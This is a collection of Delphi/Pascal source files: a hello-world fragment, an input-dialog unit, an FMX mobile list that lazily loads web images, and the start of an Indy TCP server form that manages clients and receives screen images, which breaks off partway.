writeln(hello); // Вывод на экран переменной hello
End. // Конец программы.
|
unit PromptForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Spin, StdCtrls;
type
// interposer for spin edit
TSpinEdit = class(Spin.TSpinEdit)
protected
Function IsValidChar(Key: Char): Boolean; override;
end;
TfPromptForm = class(TForm)
lblPrompt: TLabel;
eTextValue: TEdit;
seIntValue: TSpinEdit;
btnOK: TButton;
btnCancel: TButton;
procedure FormShow(Sender: TObject);
procedure btnOKClick(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure ValueKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
{ Public declarations }
ResultState: TModalResult;
end;
Function IL_InputQuery(const Title,Prompt: String; var Value: String): Boolean; overload;
Function IL_InputQuery(const Title,Prompt: String; var Value: String; PasswordChar: Char): Boolean; overload;
Function IL_InputQuery(const Title,Prompt: String; var Value: Integer; Min: Integer = Low(Integer); Max: Integer = High(Integer)): Boolean; overload;
implementation
{$R *.dfm}
Function TSpinEdit.IsValidChar(Key: Char): Boolean;
begin
// TSpinEdit swallows return, so it cannot be handled in OnKeyPress event, this prevents it
If Key <> #13{return} then
Result := inherited IsValidChar(Key)
else
Result := True;
end;
//==============================================================================
procedure TfPromptForm.FormShow(Sender: TObject);
begin
ResultState := mrNone;
If lblPrompt.Width > ClientWidth + 16 then
ClientWidth := lblPrompt.Width + 16;
eTextValue.Left := 8;
eTextValue.Width := ClientWidth - 16;
seIntValue.Left := 8;
seIntValue.Width := ClientWidth - 16;
end;
//------------------------------------------------------------------------------
procedure TfPromptForm.ValueKeyPress(Sender: TObject; var Key: Char);
begin
case Key of
#13: begin {return}
Key := #0;
ResultState := mrOK;
Close;
end;
#27: begin {escape}
Key := #0;
ResultState := mrCancel;
Close;
end;
end;
end;
//------------------------------------------------------------------------------
procedure TfPromptForm.btnOKClick(Sender: TObject);
begin
ResultState := mrOK;
Close;
end;
//------------------------------------------------------------------------------
procedure TfPromptForm.btnCancelClick(Sender: TObject);
begin
ResultState := mrCancel;
Close;
end;
//==============================================================================
Function IL_InputQuery(const Title,Prompt: String; var Value: String): Boolean; overload;
var
PromptForm: TfPromptForm;
begin
Result := False;
PromptForm := TfPromptForm.Create(Application);
try
PromptForm.Caption := Title;
PromptForm.lblPrompt.Caption := Prompt;
PromptForm.eTextValue.Visible := True;
PromptForm.seIntValue.Visible := False;
PromptForm.eTextValue.Text := Value;
PromptForm.eTextValue.SelectAll;
PromptForm.ShowModal;
If PromptForm.ResultState = mrOK then
begin
Value := PromptForm.eTextValue.Text;
Result := True;
end;
finally
PromptForm.Free;
end;
end;
//------------------------------------------------------------------------------
Function IL_InputQuery(const Title,Prompt: String; var Value: String; PasswordChar: Char): Boolean; overload;
var
PromptForm: TfPromptForm;
begin
Result := False;
PromptForm := TfPromptForm.Create(Application);
try
PromptForm.Caption := Title;
PromptForm.lblPrompt.Caption := Prompt;
PromptForm.eTextValue.Visible := True;
PromptForm.seIntValue.Visible := False;
PromptForm.eTextValue.Text := Value;
PromptForm.eTextValue.SelectAll;
PromptForm.eTextValue.PasswordChar := PasswordChar;
PromptForm.ShowModal;
If PromptForm.ResultState = mrOK then
begin
Value := PromptForm.eTextValue.Text;
Result := True;
end;
finally
PromptForm.Free;
end;
end;
//------------------------------------------------------------------------------
Function IL_InputQuery(const Title,Prompt: String; var Value: Integer; Min: Integer = Low(Integer); Max: Integer = High(Integer)): Boolean; overload;
var
PromptForm: TfPromptForm;
begin
Result := False;
PromptForm := TfPromptForm.Create(Application);
try
PromptForm.Caption := Title;
PromptForm.lblPrompt.Caption := Prompt;
PromptForm.eTextValue.Visible := False;
PromptForm.seIntValue.Visible := True;
PromptForm.seIntValue.MinValue := Min;
PromptForm.seIntValue.MaxValue := Max;
PromptForm.seIntValue.Value := Value;
PromptForm.seIntValue.SelectAll;
PromptForm.ShowModal;
If PromptForm.ResultState = mrOK then
begin
Value := PromptForm.seIntValue.Value;
Result := True;
end;
finally
PromptForm.Free;
end;
end;
end.
|
unit Unit1;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Layouts, FMX.StdCtrls,
FMX.ListBox, System.Math, FMX.Platform, FMX.Controls.Presentation, AListBoxHelper,
FMX.ScrollBox, FMX.Memo, FMX.Gestures, uImageLoader, FMX.Objects, System.IOUtils, Unit4,
FGX.ProgressDialog
{$IFDEF ANDROID}
, Androidapi.NativeActivity,
Posix.Pthread
{$ENDIF};
type
TForm1 = class(TForm)
Layout1: TLayout;
ListBox1: TListBox;
Timer1: TTimer;
AniIndicator1: TAniIndicator;
Timer2: TTimer;
procedure FormCreate(Sender: TObject);
procedure Layout1Gesture(Sender: TObject;
const EventInfo: TGestureEventInfo; var Handled: Boolean);
procedure ListBox1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
procedure ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Single);
procedure Timer1Timer(Sender: TObject);
procedure ListBox1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
procedure Timer2Timer(Sender: TObject);
procedure ListBox1ViewportPositionChange(Sender: TObject;
const OldViewportPosition, NewViewportPosition: TPointF;
const ContentSizeChanged: Boolean);
private
{ Private declarations }
ListBox_S_Y: Single;
PullToRefreshCheck: Boolean;
RefreshPos: Single;
ImageLoader: TImageLoader;
CurrentItemIndex: Integer;
isScrolling: Boolean;
aCurrentFrameIndex: Integer;
aImage: array [0.. 19] of String;
aFrameList: array [0.. 9] of TFrame4;
oListBoxScrollDetector: TListBoxScrollDetector;
function ExtractFileNameFromUrl(const AUrl: string): string;
procedure ItemApplyStyleLookup(Sender: TObject);
procedure RegisterRenderingSetup;
procedure RenderingSetupCallBack(const Sender, Context: TObject; var ColorBits, DepthBits: Integer; var Stencil: Boolean;
var Multisamples: Integer);
procedure UnLoadImage;
function LoadImage(sPath: String; Rectangle: TRectangle): Boolean;
procedure LoadImageThread(sPath: String; Rectangle: TRectangle);
procedure UnMemoryListBoxOutOfBound(iIndex: Integer);
procedure OnScrollBegin(Sender: TObject; ABegIndex, AEndIndex: Integer);
procedure OnScrollEnd(Sender: TObject; ABegIndex, AEndIndex: Integer);
procedure OnScroll(Sender: TObject; ABegIndex, AEndIndex: Integer);
procedure addItem(iCount: Integer);
procedure OnScrollPassingCheckPointForMoreItem(Sender: TObject; ABegIndex,
AEndIndex: Integer);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.fmx}
uses Unit2, Unit3, AsyncTask, AsyncTask.HTTP,
FMX.Devgear.HelperClass, AnonThread, Unit5, System.Threading;
procedure TForm1.addItem(iCount: Integer);
var
i: integer;
Item: TListBoxItem;
FrameCard4 : TFrame4;
aTask: ITask;
a: TGridPanelLayout;
imageName: String;
begin
// fgActivityDialog1.show;
// sleep(1000);// for test
ListBox1.BeginUpdate;
for i := 0 to iCount - 1 do begin
Item := TListBoxItem.Create(ListBox1);
Item.Height := 250;//FrameCard4.Height;
Item.Selectable := False;
inc(aCurrentFrameIndex);
Item.ItemData.Text := 'Index : ' + IntToStr(aCurrentFrameIndex);
Item.OnApplyStyleLookup := ItemApplyStyleLookup;
ListBox1.AddObject(Item);
// Application.ProcessMessages;
end;
ListBox1.EndUpdate;
// fgActivityDialog1.hide;
end;
function TForm1.ExtractFileNameFromUrl(const AUrl: string): string;
var
i: Integer;
begin
i := LastDelimiter('/', AUrl);
Result := Copy(AUrl, i + 1, Length(AUrl) - (i));
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ScreenSize : TSize;
i, y: Integer;
FrameCard: TFrame2;
FrameCard4: TFrame4;
FrameCard5: TFrame5;
FrameScrollCard: TFrame3;
InStream1, InStream2, InStream3, InStream4: TResourceStream;
imageName: String;
Item: TListBoxItem;
Card_Panel : TPanel;
// Frame: TFrame4;
begin
ScreenSize := Screen.Size;
isScrolling := False;
// aImage[0] := 'http://spnimage.edaily.co.kr/images/photo/files/NP/S/2014/06/PS14061200136.jpg';
// aImage[1] := 'http://spnimage.edaily.co.kr/images/photo/files/NP/S/2014/07/PS14070400149.jpg';
// aImage[2] := 'http://news.hankyung.com/nas_photo/201407/01.8907832.1.jpg';
// aImage[3] := 'http://cphoto.asiae.co.kr/listimglink/6/2014062210555351507_1.jpg';
// aImage[4] := 'http://www.sisaweek.com/news/photo/201406/24244_7634_92.jpg';
// aImage[5] := 'http://img.etoday.co.kr/pto_db/2014/08/600/20140806094524_490705_889_487.jpg';
// aImage[6] := 'http://file.dailian.co.kr/news/201405/news_1400101935_437582_m_1.jpg';
// aImage[7] := 'http://image.ajunews.com/content/image/2014/08/13/20140813111006107824.jpg';
// aImage[8] := 'http://www.niusnews.com/upload/imgs/default/13MayE/leehyori/1.jpg';
// aImage[9] := 'http://www.starseoultv.com/news/photo/201409/265876_19496_2049.PNG';
// aImage[10] := 'http://img.mbn.co.kr/filewww/news/other/2013/05/30/030515504114.jpg';
// aImage[11] := 'http://thumb.mt.co.kr/06/2013/07/2013071910303226394_1.jpg';
// aImage[12] := 'http://organicchiangmai.com/wp-content/uploads/2015/03/25.jpg';
// aImage[13] := 'http://www.ekn.kr/data/photos/20140731/art_1406686581.jpg';
// aImage[14] := 'http://cphoto.asiae.co.kr/listimglink/6/2014080608591918604_1.jpg';
// aImage[15] := 'http://cphoto.asiae.co.kr/listimglink/6/2014072307223850843_1.jpg';
// aImage[16] := 'http://upload.enews24.net/News/Contents/20140723/42054342.jpg';
// aImage[17] := 'http://spnimage.edaily.co.kr/images/photo/files/NP/S/2014/05/PS14051400068.jpg';
// aImage[18] := 'http://i.ytimg.com/vi/d-e8EBWoPU4/maxresdefault.jpg';
// aImage[19] := 'http://img.newspim.com/content/image/2014/05/13/20140513000347_0.jpg';
aImage[0] := 'http://momonestyle.com/wp-content/uploads/2015/03/150x150xdrip-546306_1280-150x150.jpg.pagespeed.ic.h31dAbuMgN.jpg';
aImage[1] := 'http://static1.squarespace.com/static/54e3903be4b0c4c37d8730fb/55254900e4b026f75311d719/55254902e4b080589493eb53/1428506882852/BLANTON-150x150.jpg';
aImage[2] := 'http://3-ps.googleusercontent.com/hk/MFeiBu8kLxr9ADI-y5QbmDaLOG/www.mec.ph/horizon/wp-content/uploads/2014/01/150xNxshutterfly1-150x150.jpg.pagespeed.ic.mc--bMUol2O2rA6DQ2x8.jpg';
aImage[3] := 'http://cdn.couponcrew.net/shop/6428/logo/150x150xorange_140x140.standard.jpg.pagespeed.ic.8-4DOqeuK2.jpg';
aImage[4] := 'http://nomad-saving.com/wp-content/uploads/2014/06/au_WALLET-150x150.jpg';
aImage[5] := 'http://cdn.tutorialzine.com/wp-content/uploads/2014/04/10-mistakes-javascript-beginners-make-150x150.jpg';
aImage[6] := 'http://dtsc.etri.re.kr/wp-content/uploads/2014/08/beacon_etri-150x150.jpg';
aImage[7] := 'http://itstrike.biz/wp-content/uploads/2014-07-11-at-10-43-11-am1-150x150.jpg';
aImage[8] := 'http://www.highwaysindustry.com/wp-content/uploads/2014/12/road_safety_week22-150x150.jpg';
aImage[9] := 'http://www.highwaysindustry.com/wp-content/uploads/2015/01/Drive-me-to-the-moon-150x150.jpg';
aImage[10] := 'http://www.samsungnyou.com/wp-content/uploads/2015/01/36_brand1_tit-150x150.jpg';
aImage[11] := 'http://www.eurobiz.com.cn/wp-content/uploads/2014/05/BCS-cover-EN.jpg-e1401432417840-150x150.jpg';
aImage[12] := 'http://www.img.lirent.net/2012/04/google-chrome-hack-update-new-download-tips-150x150.jpg';
aImage[13] := 'http://all-lab.ru/wp-content/uploads/2014/09/Screenshot_2014-09-09-09-06-52-800x600-150x150.jpg.pagespeed.ce.sIBnLdUrfF.jpg';
aImage[14] := 'http://itstrike.biz/wp-content/uploads/findmyiphoneupdate1-150x150.jpg';
aImage[15] := 'http://gori.me/wp-content/uploads/2011/07/email_500.jpg.scaled500-150x150.jpg';
aImage[16] := 'http://n3n6.com/wp-content/uploads/2013/11/20131115-132427-150x150.jpg';
aImage[17] := 'http://2-ps.googleusercontent.com/hk/8rCklkmqxkkh332R8miU7gBDRm/www.mobilejury.com/wp-content/uploads/2013/10/150x150xQuiet-mode_LG-G2-150x150.jpg.pagespeed.ic.ieOFeFFk0DP_BTk_UpEA.jpg';
aImage[18] := 'http://stealthsettings.com/wp-content/uploads/2014/06/firefox30-150x150.jpg';
aImage[19] := 'http://nullpo-matome.com/wp-content/uploads/2015/06/wpid-012-150x150.jpg';
// ListBox1.BeginUpdate;
// for i := 0 to 99 do begin
// if i mod 10 = 0 then begin
// Item := TListBoxItem.Create(ListBox1);
// FrameScrollCard := TFrame3.Create(Self);
// FrameScrollCard.HitTest := False;
// FrameScrollCard.Parent := Item;
// FrameScrollCard.Name := 'FrameScrollCard' + IntToStr(i);
// FrameScrollCard.Width := ListBox1.Width;
// // FrameScrollCard.Height := 235;
// FrameScrollCard.Position.X := 0;
// FrameScrollCard.Position.Y := 0;
// Item.Height := 280;//FrameScrollCard.Height;
// Item.Width := FrameScrollCard.Width;
// Item.Selectable := False;
// FrameScrollCard.Init;
//
// imageName := aImage[RandomRange(0, 19)];
// FrameScrollCard.Rectangle1.TagString := imageName;
//
// imageName := aImage[RandomRange(0, 19)];
// FrameScrollCard.Rectangle2.TagString := imageName;
//
// imageName := aImage[RandomRange(0, 19)];
// FrameScrollCard.Rectangle3.TagString := imageName;
//
// imageName := aImage[RandomRange(0, 19)];
// FrameScrollCard.Rectangle4.TagString := imageName;
//
// Item.OnApplyStyleLookup := ItemApplyStyleLookup;
// Item.Data := FrameScrollCard;
// ListBox1.AddObject(Item);
//
// end
// else begin
// Item := TListBoxItem.Create(ListBox1);
// FrameCard := TFrame2.Create(Self);
// FrameCard.HitTest := False;
// FrameCard.Parent := Item;
// FrameCard.Name := 'FrameCard' + IntToStr(i);
// FrameCard.Width := ListBox1.Width;
// // FrameCard.Height := 235;
// FrameCard.Position.X := 0;
// FrameCard.Position.Y := 0;
// Item.Height := 254;//FrameCard.Height;
// Item.Width := FrameCard.Width;
// Item.Selectable := False;
// FrameCard.Init;
//
// imageName := aImage[RandomRange(0, 19)];
// FrameCard.Rectangle1.TagString := imageName;
//
// imageName := aImage[RandomRange(0, 19)];
// FrameCard.Rectangle2.TagString := imageName;
//
// Item.OnApplyStyleLookup := ItemApplyStyleLookup;
// Item.Data := FrameCard;
// ListBox1.AddObject(Item);
// end;
// end;
aCurrentFrameIndex := 0;
for i := 0 to 9 do begin
aFrameList[i] := TFrame4.Create(nil);
aFrameList[i].Parent := nil;
aFrameList[i].Width := ListBox1.Width;
aFrameList[i].Position.X := 0;
aFrameList[i].Position.Y := 0;
imageName := aImage[RandomRange(0, 19)];
aFrameList[i].Rectangle1.TagString := imageName;
imageName := aImage[RandomRange(0, 19)];
aFrameList[i].Rectangle2.TagString := imageName;
aFrameList[i].Init;
end;
ListBox1.BeginUpdate;
for i := 0 to 9 do begin
Item := TListBoxItem.Create(ListBox1);
// Item.Parent := ListBox1;
Item.Height := 250;//FrameCard4.Height;
Item.Selectable := False;
inc(aCurrentFrameIndex);
Item.ItemData.Text := 'fdsfdsfdsfds : ' + IntToStr(aCurrentFrameIndex);
// Item.Width := ListBox1.Width;
Item.OnApplyStyleLookup := ItemApplyStyleLookup;
// Item.Data := FrameCard4;
// aFrameList[i].Parent := Item;
ListBox1.AddObject(Item);
end;
ListBox1.EndUpdate;
oListBoxScrollDetector := TListBoxScrollDetector.Create(ListBox1);
oListBoxScrollDetector.OnScrollEnd := OnScrollEnd;
oListBoxScrollDetector.OnScrollBegin := OnScrollBegin;
oListBoxScrollDetector.OnScroll := OnScroll;
end;
procedure TForm1.ItemApplyStyleLookup(Sender: TObject);
var
CItem: TListBoxItem;
FrameCard: TFrame2;
FrameCard4: TFrame4;
FrameScrollCard: TFrame3;
sFileName1, sFileName2: String;
TopIndex, BottomIndex: Integer;
begin
CItem := TListBoxItem(Sender);
if Assigned(CItem) then begin
FrameCard4 := aFrameList[CurrentItemIndex];
CItem.Data := FrameCard4;
FrameCard4.Parent := CItem;
FrameCard4.Visible := True;
FrameCard4.Rectangle1.HitTest := False;
FrameCard4.Rectangle2.HitTest := False;
UnMemoryListBoxOutOfBound(CItem.Index);
if FrameCard4.Rectangle1.Fill.Bitmap.Bitmap.IsEmpty = True then begin
sFileName1 := ExtractFileNameFromUrl(FrameCard4.Rectangle1.TagString);
if LoadImage(TPath.Combine(TPath.GetDocumentsPath, sFileName1), FrameCard4.Rectangle1) = False then begin
FrameCard4.Rectangle1.Fill.Bitmap.Bitmap.SaveToFileFromUrl(FrameCard4.Rectangle1.TagString,
TPath.Combine(TPath.GetDocumentsPath, sFileName1),
procedure () begin
LoadImage(TPath.Combine(TPath.GetDocumentsPath, sFileName1), FrameCard4.Rectangle1);
FrameCard4.Text1.Text := 'New File: ' + IntToStr(CItem.Index);
end);
end
else begin
FrameCard4.Text1.Text := 'Cached File: ' + IntToStr(CItem.Index);
end;
end;
if FrameCard4.Rectangle2.Fill.Bitmap.Bitmap.IsEmpty = True then begin
sFileName2 := ExtractFileNameFromUrl(FrameCard4.Rectangle2.TagString);
if LoadImage(TPath.Combine(TPath.GetDocumentsPath, sFileName2), FrameCard4.Rectangle2) = False then begin
FrameCard4.Rectangle2.Fill.Bitmap.Bitmap.SaveToFileFromUrl(FrameCard4.Rectangle2.TagString,
TPath.Combine(TPath.GetDocumentsPath, sFileName2),
procedure () begin
LoadImage(TPath.Combine(TPath.GetDocumentsPath, sFileName2), FrameCard4.Rectangle2);
FrameCard4.Text2.Text := 'New File: ' + IntToStr(CItem.Index);
end);
end
else begin
FrameCard4.Text2.Text := 'Cached File: ' + IntToStr(CItem.Index);
end;
end;
if CurrentItemIndex = 9 then
CurrentItemIndex := 0
else
Inc(CurrentItemIndex);
end;
end;
procedure TForm1.Layout1Gesture(Sender: TObject;
const EventInfo: TGestureEventInfo; var Handled: Boolean);
begin
// if GestureToIdent(EventInfo.GestureID, S) then begin
// if S = 'sgiDown' then begin
// Layout1.Position.Y := EventInfo.TapLocation.Y;
//
// end;
// Memo1.Lines.Insert(0, S + ' ' + IntToStr(Round(EventInfo.TapLocation.Y)));
//
// end
// else
// Memo1.Lines.Insert(0, 'Could not translate gesture identifier');
//
// Handled := True;
end;
procedure TForm1.ListBox1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
begin
isScrolling := False;
if ListBox1.ViewportPosition.Y = 0 then begin
PullToRefreshCheck := True;
RefreshPos := Y;
end;
end;
procedure TForm1.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Single);
var
i: Integer;
begin
// isScrolling := True;
if PullToRefreshCheck then begin
if Y > RefreshPos then begin
if ListBox1.Position.Y < 100 then begin
ListBox1.Position.Y := ListBox1.Position.Y + Y- RefreshPos
// else begin
// Timer1.Enabled := True;
end;
end;
end;
end;
procedure TForm1.ListBox1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
begin
if PullToRefreshCheck then begin
if (ListBox1.Position.Y - ListBox_S_Y) > 100 then begin
Timer1.Enabled := True;
end
else begin
PullToRefreshCheck := False;
RefreshPos := 0;
ListBox1.Position.Y := ListBox_S_Y;
end;
end;
end;
procedure TForm1.ListBox1ViewportPositionChange(Sender: TObject;
const OldViewportPosition, NewViewportPosition: TPointF;
const ContentSizeChanged: Boolean);
begin
//
end;
function TForm1.LoadImage(sPath: String; Rectangle: TRectangle): Boolean;
begin
Result := False;
if FileExists(sPath) then begin
// Rectangle.Opacity := 0;
Rectangle.Fill.Bitmap.Bitmap.LoadFromFile(sPath);
// Rectangle.AnimateFloat('Opacity', 1.0, 1, TAnimationType.InOut,TInterpolationType.Linear);
Result := True;
end;
end;
procedure TForm1.LoadImageThread(sPath: String; Rectangle: TRectangle);
var
_Thread: TAnonymousThread<TBitmap>;
begin
_Thread := TAnonymousThread<TBitmap>.Create(
function: TBitmap
begin
// Result := True;
// _Thread.Synchronize(
// procedure () begin
// Rectangle.Opacity := 0;
// Rectangle.Fill.Bitmap.Bitmap.LoadFromFile(sPath);
// Rectangle.AnimateFloat('Opacity', 1.0, 0.5, TAnimationType.InOut,TInterpolationType.Linear);
// end
// )
Result := TBitmap.Create;
end,
procedure(AResult: TBitmap)
begin
// Rectangle.Opacity := 0;
AResult.LoadFromFile(sPath);
Rectangle.Fill.Bitmap.Bitmap.Assign(AResult);
AResult.Free;
// Rectangle.AnimateFloat('Opacity', 1.0, 0.5, TAnimationType.InOut,TInterpolationType.Linear);
end,
procedure(AException: Exception)
begin
end
);
end;
procedure TForm1.OnScroll(Sender: TObject; ABegIndex, AEndIndex: Integer);
begin
addItem(20);
// addItemThread(20);
end;
procedure TForm1.OnScrollBegin(Sender: TObject; ABegIndex, AEndIndex: Integer);
var
i: integer;
begin
if (ABegIndex > -1) and (AEndIndex > -1) then begin
for i := ABegIndex to AEndIndex do begin
// TFrame4(ListBox1.ItemByIndex(i).Data).Rectangle1.HitTest := False;
// TFrame4(ListBox1.ItemByIndex(i).Data).Rectangle2.HitTest := False;
end;
end;
end;
procedure TForm1.OnScrollEnd(Sender: TObject; ABegIndex, AEndIndex: Integer);
var
i: Integer;
begin
if (ABegIndex > -1) and (AEndIndex > -1) then begin
for i := ABegIndex to AEndIndex do begin
TFrame4(ListBox1.ItemByIndex(i).Data).Rectangle1.HitTest := True;
TFrame4(ListBox1.ItemByIndex(i).Data).Rectangle2.HitTest := True;
end;
if AEndIndex = ListBox1.Items.Count - 1 then
// addItem(20);
end;
end;
procedure TForm1.OnScrollPassingCheckPointForMoreItem(Sender: TObject;
ABegIndex, AEndIndex: Integer);
begin
addItem(1);
end;
procedure TForm1.RegisterRenderingSetup;
var
SetupService: IFMXRenderingSetupService;
begin
// if TPlatformServices.Current.SupportsPlatformService(IFMXRenderingSetupService, IInterface(SetupService)) then
// SetupService.Subscribe(RenderingSetupCallBack);
end;
procedure TForm1.RenderingSetupCallBack(const Sender, Context: TObject;
var ColorBits, DepthBits: Integer; var Stencil: Boolean;
var Multisamples: Integer);
begin
ColorBits := 16;
DepthBits := 0;
Stencil := False;
Multisamples := 0;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Timer1.Enabled := False;
RefreshPos := 0;
PullToRefreshCheck := False;
ListBox1.Position.Y := ListBox_S_Y;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
Timer2.Enabled := False;
// ShowMessage('Stop scrolling');
end;
procedure TForm1.UnLoadImage;
begin
//
end;
procedure TForm1.UnMemoryListBoxOutOfBound(iIndex: Integer);
var
TopIndex, BottomIndex: Integer;
oFrame: TFrame4;
begin
TopIndex := iIndex - 5;
if TopIndex > -1 then begin
oFrame := TFrame4(ListBox1.ItemByIndex(TopIndex).Data);
if Assigned(oFrame) then begin
TFrame4(ListBox1.ItemByIndex(TopIndex).Data).Rectangle1.Fill.Bitmap.Bitmap.DisposeOf;
TFrame4(ListBox1.ItemByIndex(TopIndex).Data).Rectangle1.Fill.Bitmap.Bitmap.Width := 0;
TFrame4(ListBox1.ItemByIndex(TopIndex).Data).Rectangle2.Fill.Bitmap.Bitmap.DisposeOf;
TFrame4(ListBox1.ItemByIndex(TopIndex).Data).Rectangle2.Fill.Bitmap.Bitmap.Width := 0;
end;
end;
BottomIndex := iIndex + 5;
if BottomIndex < ListBox1.Items.Count - 1 then begin
oFrame := TFrame4(ListBox1.ItemByIndex(BottomIndex).Data);
if Assigned(oFrame) then begin
TFrame4(ListBox1.ItemByIndex(BottomIndex).Data).Rectangle1.Fill.Bitmap.Bitmap.DisposeOf;
TFrame4(ListBox1.ItemByIndex(BottomIndex).Data).Rectangle1.Fill.Bitmap.Bitmap.Width := 0;
TFrame4(ListBox1.ItemByIndex(BottomIndex).Data).Rectangle2.Fill.Bitmap.Bitmap.DisposeOf;
TFrame4(ListBox1.ItemByIndex(BottomIndex).Data).Rectangle2.Fill.Bitmap.Bitmap.Width := 0;
end;
end;
end;
end.
|
unit uRecvScreen;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, IdContext, IdBaseComponent, IdComponent,
IdCustomTCPServer, IdTCPServer, Vcl.StdCtrls, IdGlobal, IdException,
IdSocketHandle, IdThread, IdSync, jpeg,
Vcl.ExtCtrls, UnitGlobal;
type
TMyIdNotify = class(TIdNotify)
protected
procedure DoNotify; override;
public
mMyData: TMyData;
isMyData: Boolean;
strMsg: String;
end;
type
TFormRecvScreen = class(TForm)
Memo1: TMemo;
BtnStart: TButton;
BtnStop: TButton;
BtnBroadcast: TButton;
IdTCPServer1: TIdTCPServer;
LedtPort: TLabeledEdit;
ListBoxClient: TListBox;
edtSend: TEdit;
btnSend: TButton;
btnClearMemo: TButton;
Panel1: TPanel;
Panel2: TPanel;
ImageScrollBox: TScrollBox;
imgShot: TImage;
Panel3: TPanel;
procedure IdTCPServer1Execute(AContext: TIdContext);
procedure BtnStartClick(Sender: TObject);
procedure BtnStopClick(Sender: TObject);
procedure IdTCPServer1AfterBind(Sender: TObject);
procedure IdTCPServer1BeforeBind(AHandle: TIdSocketHandle);
procedure IdTCPServer1BeforeListenerRun(AThread: TIdThread);
procedure IdTCPServer1Connect(AContext: TIdContext);
procedure IdTCPServer1ContextCreated(AContext: TIdContext);
procedure IdTCPServer1Disconnect(AContext: TIdContext);
procedure IdTCPServer1Exception(AContext: TIdContext;
AException: Exception);
procedure IdTCPServer1ListenException(AThread: TIdListenerThread;
AException: Exception);
procedure IdTCPServer1Status(ASender: TObject; const AStatus: TIdStatus;
const AStatusText: string);
procedure BtnBroadcastClick(Sender: TObject);
procedure btnSendClick(Sender: TObject);
procedure btnClearMemoClick(Sender: TObject);
procedure edtSendKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure SendMessage;
procedure Multi_cast;
{ Private declarations }
public
{ Public declarations }
procedure StopServer;
end;
// --------------------------------------------
type
TMyContext = class(TIdContext)
public
UserName: String;
Password: String;
end;
var
FormRecvScreen: TFormRecvScreen;
implementation
{$R *.dfm}
procedure TFormRecvScreen.BtnBroadcastClick(Sender: TObject);
begin
Multi_cast;
end;
procedure TFormRecvScreen.btnClearMemoClick(Sender: TObject);
begin
Memo1.Lines.Clear;
end;
procedure TFormRecvScreen.btnSendClick(Sender: TObject);
var
str: TStringBuilder;
begin
SendMessage;
end;
procedure TFormRecvScreen.BtnStartClick(Sender: TObject);
begin
IdTCPServer1.Bindings.DefaultPort := StrToInt(LedtPort.Text);
Memo1.Lines.Add(IdTCPServer1.Bindings.DefaultPort.ToString());
try
IdTCPServer1.Active := True;
except
on E: EIdException do
Memo1.Lines.Add('== EIdException: ' + E.Message);
end;
BtnStop.Enabled := True;
end;
procedure TFormRecvScreen.BtnStopClick(Sender: TObject);
begin
StopServer;
end;
procedure TFormRecvScreen.edtSendKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_RETURN then
Multi_cast;
end;
procedure TFormRecvScreen.FormClose(Sender: TObject; var Action: TCloseAction);
begin
StopServer;
end;
procedure TFormRecvScreen.SendMessage;
var
List: TList;
str: TStringBuilder;
begin
if ListBoxClient.ItemIndex = -1 then
begin
Memo1.Lines.Add('請選擇一個 Client');
end
else
begin
try
List := IdTCPServer1.Contexts.LockList;
if List.Count = 0 then
begin
exit;
end;
TIdContext(List[ListBoxClient.ItemIndex]).Connection.IOHandler.WriteLn
(edtSend.Text, IndyTextEncoding_UTF8);
finally
IdTCPServer1.Contexts.UnlockList;
end;
str := TStringBuilder.Create;
str.Append('SendMessage(');
str.Append(ListBoxClient.Items[ListBoxClient.ItemIndex]);
str.Append('): ');
str.Append(edtSend.Text);
Memo1.Lines.Add(str.ToString);
str.DisposeOf;
end;
end;
procedure TFormRecvScreen.Multi_cast;
var
List: TList;
I: Integer;
begin
List := IdTCPServer1.Contexts.LockList;
try
if List.Count = 0 then
begin
Memo1.Lines.Add('沒有Client連線!');
exit;
end
else
Memo1.Lines.Add('Multi_cast:' + edtSend.Text);
for I := 0 to List.Count - 1 do
begin
try
TIdContext(List[I]).Connection.IOHandler.WriteLn(edtSend.Text,
IndyTextEncoding_UTF8);
except
on E: EIdException do
Memo1.Lines.Add('== EIdException: ' + E.Message);
end;
end;
finally
IdTCPServer1.Contexts.UnlockList;
end;
end;
procedure TFormRecvScreen.IdTCPServer1AfterBind(Sender: TObject);
begin
Memo1.Lines.Add('S-AfterBind');
end;
procedure TFormRecvScreen.IdTCPServer1BeforeBind(AHandle: TIdSocketHandle);
begin
Memo1.Lines.Add('S-BeforeBind');
end;
procedure TFormRecvScreen.IdTCPServer1BeforeListenerRun(AThread: TIdThread);
begin
Memo1.Lines.Add('S-BeforeListenerRun');
end;
procedure TFormRecvScreen.IdTCPServer1Connect(AContext: TIdContext);
var
str: String;
begin
str := AContext.Binding.PeerIP + '_' + AContext.Binding.PeerPort.ToString;
Memo1.Lines.Add(DateTimeToStr(Now));
Memo1.Lines.Add('S-Connect: ' + str);
ListBoxClient.Items.Add(str);
// 自動選擇最後新增的
if ListBoxClient.Count > -1 then
ListBoxClient.ItemIndex := ListBoxClient.Count - 1;
end;
procedure TFormRecvScreen.IdTCPServer1ContextCreated(AContext: TIdContext);
var
str: String;
begin
str := AContext.Binding.PeerIP + '_' + AContext.Binding.PeerPort.ToString;
Memo1.Lines.Add(DateTimeToStr(Now));
Memo1.Lines.Add('S-ContextCreated ' + str);
end;
